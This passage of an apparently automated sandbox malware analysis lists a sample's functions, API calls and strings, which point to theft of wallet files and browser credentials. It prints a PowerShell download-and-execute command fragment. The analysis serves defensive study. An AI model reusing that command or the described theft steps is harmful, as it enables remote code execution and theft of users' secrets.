Function 006E6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 006E6774
ExitProcess.KERNEL32 ref: 006E67A5
ExitProcess.KERNEL32 ref: 006E67AF
ExitProcess.KERNEL32 ref: 006E67B9
ExitProcess.KERNEL32 ref: 006E67C3
ExitProcess.KERNEL32 ref: 006E67CD

Strings

*, xrefs: 006E678C

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 9c3423c5177b16c9f447f81c9408712e6f29e87e6188638b6c602db122e66c39
Instruction ID: 8581fabe0e4205bfdd44749d89a4d5e7e4ead9b765ff4f3d321cad4ca896c1e1
Opcode Fuzzy Hash: 9c3423c5177b16c9f447f81c9408712e6f29e87e6188638b6c602db122e66c39
Instruction Fuzzy Hash: 5BF03A30E1A249EFE7449FE0E9097AC7B70FB05712F148198F609862D0D6704F41EB96

Function 006E4780 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E4E038), ref: 006E47DB

Part of subcall function 006E8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006E8E0B

lstrcat.KERNEL32(?,00000000), ref: 006E4801
lstrcat.KERNEL32(?,?), ref: 006E4820
lstrcat.KERNEL32(?,?), ref: 006E4834
lstrcat.KERNEL32(?,00E3B860), ref: 006E4847
lstrcat.KERNEL32(?,?), ref: 006E485B
lstrcat.KERNEL32(?,00E4DA40), ref: 006E486F

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006E8D90: GetFileAttributesA.KERNEL32(00000000,?,006D1B54,?,?,006F564C,?,?,006F0E1F), ref: 006E8D9F

Part of subcall function 006E4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006E4580
Part of subcall function 006E4570: RtlAllocateHeap.NTDLL(00000000), ref: 006E4587
Part of subcall function 006E4570: wsprintfA.USER32 ref: 006E45A6
Part of subcall function 006E4570: FindFirstFileA.KERNEL32(?,?), ref: 006E45BD

Strings

8, xrefs: 006E47CD

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 8
API String ID: 2540262943-3897458245
Opcode ID: 88825a515cc5c4c75ca86adb2dd51f0fe8a5a412b6a39a18f754ef4467b17685
Instruction ID: ccff97d719a0005e69368b067cdef082fe5021ced1fb957ee983e079ba250654
Opcode Fuzzy Hash: 88825a515cc5c4c75ca86adb2dd51f0fe8a5a412b6a39a18f754ef4467b17685
Instruction Fuzzy Hash: BB3153B6D113086BCB50FBB0DC85EE9737DAB58700F40458DB31996082EE74AB89CB99

Function 006D4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006D4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 006D4FD1
InternetOpenA.WININET(006F0DDF,00000000,00000000,00000000,00000000), ref: 006D4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 006D5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 006D5041
InternetCloseHandle.WININET(?), ref: 006D50B9
InternetCloseHandle.WININET(?), ref: 006D50C6

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: af34b44d1a462bb824314b9db19c2224095984207c46fe91b19d52ee4cba300c
Instruction ID: b81518e7e7e14896ce1fd2566d873634a33abaff72938563482ba9731c7e78de
Opcode Fuzzy Hash: af34b44d1a462bb824314b9db19c2224095984207c46fe91b19d52ee4cba300c
Instruction Fuzzy Hash: 4E3112B4E01218ABDB20CF54CC85BDCB7B5EB48704F1081D9EA09A7281CB746EC5CF99

Function 006E83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006E8426
wsprintfA.USER32 ref: 006E8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 006E847B
RegCloseKey.ADVAPI32(00000000), ref: 006E848C
RegCloseKey.ADVAPI32(00000000), ref: 006E8499

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

RegQueryValueExA.ADVAPI32(00000000,00E4E4D0,00000000,000F003F,?,00000400), ref: 006E84EC
lstrlen.KERNEL32(?), ref: 006E8501
RegQueryValueExA.ADVAPI32(00000000,00E4E548,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,006F0B34), ref: 006E8599
RegCloseKey.ADVAPI32(00000000), ref: 006E8608
RegCloseKey.ADVAPI32(00000000), ref: 006E861A

Strings

%s\%s, xrefs: 006E844D

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 1d0afb3ef1f6bd607307fe56d5334719ffdf2d04116c977753ebeb4a11f34379
Instruction ID: def8ec3c70cebf8191130a8cac2290e486565f7582127c40fb5ac6c961007ea7
Opcode Fuzzy Hash: 1d0afb3ef1f6bd607307fe56d5334719ffdf2d04116c977753ebeb4a11f34379
Instruction Fuzzy Hash: C02107B1A15218AFDB24DB54DC85FE9B3B9FB48700F00C1D9A609A6280DF71AA85CFD4

Function 006E7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E7734
RtlAllocateHeap.NTDLL(00000000), ref: 006E773B
RegOpenKeyExA.ADVAPI32(80000002,00E3C128,00000000,00020119,006E76B9), ref: 006E775B
RegQueryValueExA.ADVAPI32(006E76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 006E777A
RegCloseKey.ADVAPI32(006E76B9), ref: 006E7784

Strings

CurrentBuildNumber, xrefs: 006E7771

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 3fdc701027117203ba572671f6f41300285dbb73ff3b5bc7c332ef171aa95fa8
Instruction ID: d7bf9d6e4e5c80ee3218f35b3699353e7d5efdcca6e8e0690059e1d10c6447cd
Opcode Fuzzy Hash: 3fdc701027117203ba572671f6f41300285dbb73ff3b5bc7c332ef171aa95fa8
Instruction Fuzzy Hash: 37012CB5A55308BBEB00DBE4DC4AFEEB7B8EB48700F108199FA15A7281DA705A00DB51

Function 006E92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:n,80000000,00000003,00000000,00000003,00000080,00000000,?,006E3AEE,?), ref: 006E92FC
GetFileSizeEx.KERNEL32(000000FF,:n), ref: 006E9319
CloseHandle.KERNEL32(000000FF), ref: 006E9327

Strings

:n, xrefs: 006E92F8, 006E92FB
:n, xrefs: 006E9311, 006E933D, 006E9314

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :n$:n
API String ID: 1378416451-3885358969
Opcode ID: b2fbc712a94a33c11676a4d45a1d18bd0b12e5829bcc4e9a20240992eb1cf455
Instruction ID: f5c6d1f5ca55491244d49bd546625feffb671680f361a4a8b2d84a993cf40a90
Opcode Fuzzy Hash: b2fbc712a94a33c11676a4d45a1d18bd0b12e5829bcc4e9a20240992eb1cf455
Instruction Fuzzy Hash: 1CF03C35F55308BBDB10DBB1DC49B9EB7BAAB48720F10C254BA51A72C0D6719B01DF50

Function 006D99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006D99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 006D9A11
LocalAlloc.KERNEL32(00000040,?), ref: 006D9A31
ReadFile.KERNEL32(000000FF,?,00000000,006D148F,00000000), ref: 006D9A5A
LocalFree.KERNEL32(006D148F), ref: 006D9A90
CloseHandle.KERNEL32(000000FF), ref: 006D9A9A

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 314b70e04b1de503e461edf0e87e546d780d8ff9a3c78479cc97f5b93bb86b57
Instruction ID: b54ea5b130970fa97194fc67899d5277ebb1eb7855b6e139cdc4e0c221fdc817
Opcode Fuzzy Hash: 314b70e04b1de503e461edf0e87e546d780d8ff9a3c78479cc97f5b93bb86b57
Instruction Fuzzy Hash: 933103B4E01209EFDB14CFA4C985BEE77B6BF48350F108159E901A7390D779AA81CFA1

Function 006E9260 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(,?,?,?,006E140C,?,00E4E0E0,00000000), ref: 006E926C
lstrcpyn.KERNEL32(0091AB88,,,?,006E140C,?,00E4E0E0), ref: 006E9290
lstrlen.KERNEL32(?,?,006E140C,?,00E4E0E0), ref: 006E92A7
wsprintfA.USER32 ref: 006E92C7

Strings

%s%s, xrefs: 006E92B5
, xrefs: 006E9268, 006E9283, 006E9287, 006E9299, 006E92BD, 006E927B, 006E926B, 006E9286, 006E928A, 006E92C6

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$
API String ID: 1206339513-2079566551
Opcode ID: 8dc59fde0fad51cc4c23287703ca13905746424283d45c28cfed7a783c6193c9
Instruction ID: 782a7170d442a431ee5323ea723aadb1e600da4c719fab320a3cd4a6809f5fd1
Opcode Fuzzy Hash: 8dc59fde0fad51cc4c23287703ca13905746424283d45c28cfed7a783c6193c9
Instruction Fuzzy Hash: F401E975655248FFCB04DFE8D984EEE7BB9EF44364F108148F9098B241C631AE40DB91

Function 006E2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

ShellExecuteEx.SHELL32(0000003C), ref: 006E2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 006E2D04
')", xrefs: 006E2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 006E2CC4
<, xrefs: 006E2D39

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c360f07c747113f6ecb028bcaa91fb733ffdd61aa7e6198d84b16714d8a044ed
Instruction ID: 58d9040233fc5b64b6e7a7bdf9d092e0097a8bfc7a3bee2f33095e2c49a625f8
Opcode Fuzzy Hash: c360f07c747113f6ecb028bcaa91fb733ffdd61aa7e6198d84b16714d8a044ed
Instruction Fuzzy Hash: C241FF71C123489AEB54EBE1C892BEEB776AF10300F41411DE106A7196EF743A4ACF99

Function 006D9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 006D9F41

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 006D9E67
v10, xrefs: 006D9EA3
@, xrefs: 006D9EF1
v20, xrefs: 006D9E21

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 3520d2fc9e5125688771d62677cc27d57a68b570510b3c25739943fd265ec6ab
Instruction ID: 97d59ee9959dd5afbe50c55c72f6ddfee57e487d3df6798b10a30547d9b77d6c
Opcode Fuzzy Hash: 3520d2fc9e5125688771d62677cc27d57a68b570510b3c25739943fd265ec6ab
Instruction Fuzzy Hash: DC615070A11248EBDB24EFE4DD96FEE777AAF45304F008118F9095F281EB746A06CB56

Function 006E40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00E4DBE0,00000000,00020119,?), ref: 006E40F4
